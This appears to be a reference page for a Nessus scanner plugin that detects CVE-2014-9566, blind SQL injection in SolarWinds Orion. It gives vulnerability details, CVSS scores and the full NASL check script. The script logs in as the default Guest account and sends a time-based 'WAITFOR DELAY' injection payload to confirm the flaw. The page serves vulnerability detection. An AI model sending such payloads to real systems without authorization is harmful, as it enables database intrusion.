SolarWinds Orion Multiple SQLi Vulnerabilities - Nessus

High   Plugin ID: 83817

This page contains detailed information about the SolarWinds Orion Multiple SQLi Vulnerabilities Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

Plugin Overview


ID: 83817
Name: SolarWinds Orion Multiple SQLi Vulnerabilities
Filename: solarwinds_orion_multiple_sqli.nasl
Vulnerability Published: 2015-02-24
This Plugin Published: 2015-05-27
Last Modification Time: 2021-01-19
Plugin Version: 1.6
Plugin Type: remote
Plugin Family: CGI abuses
Dependencies: solarwinds_orion_npm_detect.nasl
Required KB Items [?]: installed_sw/SolarWinds Orion Core
Excluded KB Items: global_settings/supplied_logins_only

Vulnerability Information


Severity: High
Vulnerability Published: 2015-02-24
Patch Published: 2015-02-24
CVE [?]: CVE-2014-9566
CPE [?]: cpe:/a:solarwinds:orion_ip_address_manager, cpe:/a:solarwinds:orion_netflow_traffic_analyzer, cpe:/a:solarwinds:orion_network_configuration_manager, cpe:/a:solarwinds:orion_network_performance_monitor, cpe:/a:solarwinds:orion_server_and_application_manager, cpe:/a:solarwinds:orion_user_device_tracker, cpe:/a:solarwinds:orion_voip_%26_network_quality_manager, cpe:/a:solarwinds:orion_web_performance_monitor

Synopsis

The remote host is affected by multiple SQL injection vulnerabilities.

Description

The remote host is running a version of SolarWinds Orion Core that is affected by multiple blind SQL injection vulnerabilities in the 'AccountManagement.asmx' script. A remote attacker, after being authenticated using the built-in default 'Guest' account, can exploit these vulnerabilities to execute arbitrary SQL commands. Note that the 'Guest' account needs to be enabled for exploitation of these vulnerabilities to occur.

Solution

Contact the vendor for a software version containing a patched Orion Core.

Public Exploits


Target Network Port(s): 8787
Target Asset(s): Services/www
Exploit Available: True (Exploit-DB)
Exploit Ease: No exploit is required

Here's the list of publicly known exploits and PoCs for verifying the SolarWinds Orion Multiple SQLi Vulnerabilities vulnerability:

  1. Exploit-DB: exploits/windows/webapps/36262.txt
    [EDB-36262: SolarWinds Orion Service - SQL Injection]

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

WARNING: Beware of using unverified exploits from sources such as GitHub or Exploit-DB. These exploits and PoCs could contain malware. For more information, see how to use exploits safely.

Risk Information


CVSS Score Source [?]: CVE-2014-9566
CVSS V2 Vector: AV:N/AC:L/Au:N/C:P/I:P/A:P/E:H/RL:OF/RC:C
CVSS Base Score:7.5 (High)
Impact Subscore:6.4
Exploitability Subscore:10.0
CVSS Temporal Score:6.5 (Medium)
CVSS Environmental Score:NA (None)
Modified Impact Subscore:NA
Overall CVSS Score:6.5 (Medium)

Go back to menu.

Plugin Source


This is the solarwinds_orion_multiple_sqli.nasl nessus plugin source code. This script is Copyright (C) 2015-2021 and is owned by Tenable, Inc. or an Affiliate thereof.

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(83817);
  script_version("1.6");
  script_set_attribute(attribute:"plugin_modification_date", value:"2021/01/19");

  script_cve_id("CVE-2014-9566");
  script_bugtraq_id(72876);
  script_xref(name:"EDB-ID", value:"36262");

  script_name(english:"SolarWinds Orion Multiple SQLi Vulnerabilities");
  script_summary(english:"Attempts to exploit the SQL injection vulnerability.");

  script_set_attribute(attribute:"synopsis", value:
"The remote host is affected by multiple SQL injection vulnerabilities.");
  script_set_attribute(attribute:"description", value:
"The remote host is running a version of SolarWinds Orion Core that is
affected by multiple blind SQL injection vulnerabilities in the
'AccountManagement.asmx' script. A remote attacker, after being
authenticated using the built-in default 'Guest' account, can exploit
these vulnerabilities to execute arbitrary SQL commands. Note that the
'Guest' account needs to be enabled for exploitation of these
vulnerabilities to occur.");
  # http://volatile-minds.blogspot.com/2015/02/authenticated-stacked-sql-injection-in.html
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?37fa2b56");
  # http://www.solarwinds.com/documentation/orion/docs/releasenotes/releasenotes.htm
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?3e685d6c");
  script_set_attribute(attribute:"solution", value:
"Contact the vendor for a software version containing a patched Orion
Core.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:H/RL:OF/RC:C");
  script_set_attribute(attribute:"cvss_score_source", value:"CVE-2014-9566");

  script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
  script_set_attribute(attribute:"exploit_available", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2015/02/24");
  script_set_attribute(attribute:"patch_publication_date", value:"2015/02/24");
  script_set_attribute(attribute:"plugin_publication_date", value:"2015/05/27");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:solarwinds:orion_network_performance_monitor");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:solarwinds:orion_netflow_traffic_analyzer");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:solarwinds:orion_network_configuration_manager");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:solarwinds:orion_ip_address_manager");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:solarwinds:orion_user_device_tracker");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:solarwinds:orion_voip_%26_network_quality_manager");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:solarwinds:orion_server_and_application_manager");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:solarwinds:orion_web_performance_monitor");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2015-2021 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("solarwinds_orion_npm_detect.nasl");
  script_require_keys("installed_sw/SolarWinds Orion Core");
  script_exclude_keys("global_settings/supplied_logins_only");
  script_require_ports("Services/www", 8787);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("install_func.inc");
include("url_func.inc");

# plugin requires logging in as Guest to exploit
if (supplied_logins_only) audit(AUDIT_SUPPLIED_LOGINS_ONLY);

port = get_http_port(default:8787);

app_name = "SolarWinds Orion Core";

install = get_single_install(
  app_name      : "SolarWinds Orion Core",
  port         : port
);

dir = install['path'];
install_url = build_url(qs:dir, port:port);

clear_cookiejar();

login_url = '/Orion/Login.aspx';

res = http_send_recv3(
  port            : port,
  method          : "GET",
  item            : login_url,
  exit_on_fail    : TRUE
);

item = eregmatch(pattern:'"__VIEWSTATE"\\s*value\\s*=\\s*"([^"]+)"',
                 string: res[2]);

viewstate = item[1];

postdata = "__EVENTTARGET=&" +
           "__EVENTARGUMENT=&" +
           "__VIEWSTATE=" + urlencode(str:viewstate) + "&" +
           "__VIEWSTATEGENERATOR=01070692&" +
           "ctl00$BodyContent$Username=Guest&" +
           "ctl00$BodyContent$Password=";

res = http_send_recv3(
  port            : port,
  method          : "POST",
  item            : login_url,
  data            : postdata,
  content_type    : "application/x-www-form-urlencoded",
  exit_on_fail    : TRUE
);

if(res[1] !~ "Location\s*:\s*/Orion/View.aspx" &&
   "302" >!< res[0])
  exit(0, "Unable to login to application using Guest Account.");

exploit_url = "/Orion/Services/AccountManagement.asmx/GetAccounts";

# script response is pretty snappy, so use a non-overlapping variance
variance = 2;

passes = 0;
timings = make_list(5,10,15);
postdata = '{"accountId":""}';

# check more than one timing to avoid false positives
foreach timing (timings)
{
  http_set_read_timeout(timing*2);

  exploit = "?sort=Accounts.AccountID&dir=ASC%20WAITFOR%20DELAY%20%270:0:" + timing + "%27--";

  then = unixtime();

  res = http_send_recv3(
    port            : port,
    method          : "POST",
    item            : exploit_url + exploit,
    data            : postdata,
    content_type    : "application/json",
    exit_on_fail    : TRUE
  );

  now = unixtime();
  delta = now - then;

  if('"SolarWinds.Orion.Web.PageableDataTable"' >< res[2] &&
     delta >= timing && delta <= timing + variance)
    passes++;
}

if(passes == max_index(timings))
{
  security_report_v4(
    port     : port,
    sqli     : TRUE,
    request  : make_list(http_last_sent_request()),
    output   : chomp(res[2]),
    severity : SECURITY_HOLE,
    generic  : TRUE
  );
}
else audit(AUDIT_WEB_APP_NOT_AFFECTED, app_name, install_url);

The latest version of this script can be found in these locations depending on your platform:

  • Linux / Unix:
    /opt/nessus/lib/nessus/plugins/solarwinds_orion_multiple_sqli.nasl
  • Windows:
    C:\ProgramData\Tenable\Nessus\nessus\plugins\solarwinds_orion_multiple_sqli.nasl
  • Mac OS X:
    /Library/Nessus/run/lib/nessus/plugins/solarwinds_orion_multiple_sqli.nasl

Go back to menu.

How to Run


Here is how to run the SolarWinds Orion Multiple SQLi Vulnerabilities as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

  1. Click to start a New Scan.
  2. Select Advanced Scan.
  3. Navigate to the Plugins tab.
  4. On the top right corner click to Disable All plugins.
  5. On the left side table select CGI abuses plugin family.
  6. On the right side table select SolarWinds Orion Multiple SQLi Vulnerabilities plugin ID 83817.
  7. Specify the target on the Settings tab and click to Save the scan.
  8. Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl solarwinds_orion_multiple_sqli.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a solarwinds_orion_multiple_sqli.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - solarwinds_orion_multiple_sqli.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state solarwinds_orion_multiple_sqli.nasl -t <IP/HOST>

Go back to menu.

References


BID | SecurityFocus Bugtraq ID: See also: Similar and related Nessus plugins:
  • 146309 - SolarWinds Orion Platform < 2019.4.2 Remote Code Execution
  • 146310 - SolarWinds Orion Platform < 2020.2.4 Multiple Vulnerabilities
  • 62118 - SolarWinds Orion NPM < 10.3.1 Multiple Vulnerabilities
  • 155442 - SolarWinds Orion Platform 2020.2.0 < 2020.2.6 Multiple Vulnerabilities
  • 144622 - SolarWinds Orion Platform < 2019.4 HF6 / 2020.2 < 2020.2.1 HF2 Authentication Bypass (SUPERNOVA)
  • 87600 - SolarWinds Storage Manager AuthenticationFilter Script Upload RCE
  • 59116 - SolarWinds Storage Manager Server LoginServlet loginName Parameter SQL Injection
  • 124062 - SolarWinds DameWare Mini Remote Client Agent < 12.0.3 Stack Buffer Overflow
  • 130458 - SolarWinds Dameware Mini Remote Control Unauthenticated RCE
  • 86995 - SolarWinds DameWare Mini Remote Control < 12.0 Hotfix 2 SSLv3 Padding Oracle On Downgraded Legacy Encryption (POODLE)
  • 144449 - SolarWinds Orion Platform < 2020.2.1 HF2 Multiple Vulnerabilities
  • 91123 - SolarWinds Storage Resource Monitor Profiler < 6.2.3 Multiple Vulnerabilities (Logjam) (POODLE)
  • 86421 - SolarWinds Storage Resource Monitor < 6.2 ProcessFileUpload.jsp File Upload RCE
  • 47137 - SolarWinds TFTP Server < 10.4.0.13 DoS
  • 47138 - SolarWinds TFTP Server < 10.4.0.14 DoS
  • 154954 - SolarWinds Virtualization Manager <= 6.3.1 Privilege Escalation
  • 92040 - SolarWinds Virtualization Manager Java Object Deserialization RCE

Version


This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file solarwinds_orion_multiple_sqli.nasl version 1.6. For more plugins, visit the Nessus Plugin Library.

Go back to menu.